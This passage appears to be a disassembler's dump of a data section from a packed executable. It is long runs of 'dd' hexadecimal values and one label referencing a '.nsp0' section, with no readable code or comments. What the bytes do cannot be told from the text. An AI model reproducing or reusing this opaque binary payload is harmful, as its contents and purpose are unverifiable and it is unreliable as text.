0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h dd 0F4107D2Ah, 0C94E00D4h dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh dd 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh dd 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h, 1E759546h dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h dd 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh dd 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh dd 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h dd 0B057A384h, 972D00E1h, 70895130h, 94900853h, 5C81B800h dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h dd 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h dd 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h dd 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h dd 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh dd 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh dd 0ACB3C7CBh dword_4F0044 dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h ; DATA XREF: .nsp0:0043FD14o dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh dd 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh dd 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h dd 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h dd 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh dd 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh dd 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h dd 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh dd 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh dd 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh dd 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h dd 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch dd 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h dd 167F425h, 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh dd 0AD6C7Ch, 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh dd 1C5DCAFAh, 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h dd 744C8EEh, 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h dd 0DC25E1Fh, 0D60401C6h dd 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h dd 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h dd 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h, 158D13h dd 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh dd 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h dd 0C0A00380h, 910129E0h, 44022290h, 89040300h, 18251505h dd 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h dd 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh dd 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h dd 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h dd 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h dd 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h dd 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h dd 2402D6F8h, 0C82D66h, 505553B4h, 22579856h, 0F00FB901h dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh dd 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h dd 7440698h, 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh dd 25013C0h, 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h dd 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh, 15017310h dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h dd 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh dd 0D190C3h, 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h dd 387225Ah, 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h dd 24945A48h, 55890112h dd 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh, 6BC572h dd 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h, 800203h dd 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h, 4A9300D4h dd 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh, 6F1CA5A3h dd 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h, 4DFF0C05h dd 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh, 9CEC0E9h dd 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h, 0EE8031CBh dd 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h, 5C8500F6h dd 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h, 29E5F810h dd 